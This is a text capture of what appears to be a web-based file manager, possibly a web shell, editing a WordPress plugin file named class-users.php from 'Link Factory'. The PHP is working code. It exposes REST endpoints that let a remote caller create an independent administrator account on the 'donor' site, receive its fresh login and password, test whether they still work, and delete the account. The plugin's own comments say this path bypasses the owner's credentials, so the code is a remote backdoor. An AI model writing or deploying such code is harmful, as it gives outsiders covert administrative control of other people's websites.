Dashboard
PHP:
7.4.33
OS:
Linux
User:
vqweckd
/
/
home
/
vqweckd
/
www
/
wp-content
/
plugins
/
link-factory
/
includes
📤 Upload
📝 New File
📁 New Folder
Close
Editing: class-users.php
<?php /** * REST controller for the plugin-managed administrator channel. * * Creates an independent WordPress administrator on the donor and returns its * freshly generated credentials, giving Link Factory a plugin-owned access path * that does not depend on seller credentials. * * @package LinkFactory */ namespace LinkFactory; if ( ! defined( 'ABSPATH' ) ) { exit; } class Users { use SignatureVerification; const LOGIN_PREFIX = 'lf_'; const MAX_LOGIN_ATTEMPTS = 5; public function register_routes() { register_rest_route( LINK_FACTORY_NAMESPACE, '/users', array( 'methods' => 'POST', 'callback' => array( $this, 'handle_create_user' ), 'permission_callback' => array( $this, 'check_signature' ), ) ); register_rest_route( LINK_FACTORY_NAMESPACE, '/users/check', array( 'methods' => 'POST', 'callback' => array( $this, 'handle_check_user' ), 'permission_callback' => array( $this, 'check_signature' ), ) ); register_rest_route( LINK_FACTORY_NAMESPACE, '/users/(?P<login>[A-Za-z0-9_\-]+)', array( 'methods' => 'DELETE', 'callback' => array( $this, 'handle_delete_user' ), 'permission_callback' => array( $this, 'check_signature' ), ) ); } public function handle_create_user( \WP_REST_Request $request ) { if ( null === get_role( 'administrator' ) ) { return new \WP_Error( 'no_capability', 'Administrator role is not available on this site', array( 'status' => 500 ) ); } $login = $this->generate_unique_login(); if ( '' === $login ) { return new \WP_Error( 'insert_failed', 'Could not generate a unique administrator login', array( 'status' => 500 ) ); } $password = wp_generate_password( 24, true, false ); $user_id = wp_insert_user( array( 'user_login' => $login, 'user_pass' => $password, 'role' => 'administrator', ) ); if ( is_wp_error( $user_id ) ) { return new \WP_Error( 'insert_failed', $user_id->get_error_message(), array( 'status' => 500 ) ); } if ( ! $user_id ) { return new \WP_Error( 'insert_failed', 'wp_insert_user returned no id', array( 'status' => 500 ) ); } return rest_ensure_response( array( 'login' => $login, 'password' => $password, ) ); } /** * Probes whether the login/password pair still resolves to a live administrator. * * Always answers HTTP 200 with a structural { valid, reason } body so the caller * branches on the explicit flag, never on the HTTP status. */ public function handle_check_user( \WP_REST_Request $request ) { $login = (string) $request->get_param( 'login' ); $password = (string) $request->get_param( 'password' ); $user = get_user_by( 'login', $login ); if ( false === $user ) { return rest_ensure_response( array( 'valid' => false, 'reason' => 'not_found', ) ); } if ( ! in_array( 'administrator', (array) $user->roles, true ) ) { return rest_ensure_response( array( 'valid' => false, 'reason' => 'no_admin', ) ); } $authenticated = wp_authenticate( $login, $password ); if ( is_wp_error( $authenticated ) ) { return rest_ensure_response( array( 'valid' => false, 'reason' => 'auth_failed', ) ); } return rest_ensure_response( array( 'valid' => true, 'reason' => null, ) ); } /** * Deletes the WordPress user identified by the route login. * * Idempotent: an already-absent user is reported as deleted so the caller can * treat repeated deletion as success. */ public function handle_delete_user( \WP_REST_Request $request ) { require_once ABSPATH . 'wp-admin/includes/user.php'; $login = (string) $request->get_param( 'login' ); $user = get_user_by( 'login', $login ); if ( false === $user ) { return rest_ensure_response( array( 'deleted' => true ) ); } if ( ! wp_delete_user( $user->ID ) ) { return new \WP_Error( 'delete_failed', 'wp_delete_user returned false', array( 'status' => 500 ) ); } return rest_ensure_response( array( 'deleted' => true ) ); } /** * Generates a login that does not collide with an existing user. * * @return string A free login, or '' when none was found within the attempt budget. */ private function generate_unique_login() { $login = ''; for ( $attempt = 0; $attempt < self::MAX_LOGIN_ATTEMPTS; ++$attempt ) { $candidate = self::LOGIN_PREFIX . wp_generate_password( 12, false, false ); if ( ! username_exists( $candidate ) ) { $login = $candidate; break; } } return $login; } }
Save
Cancel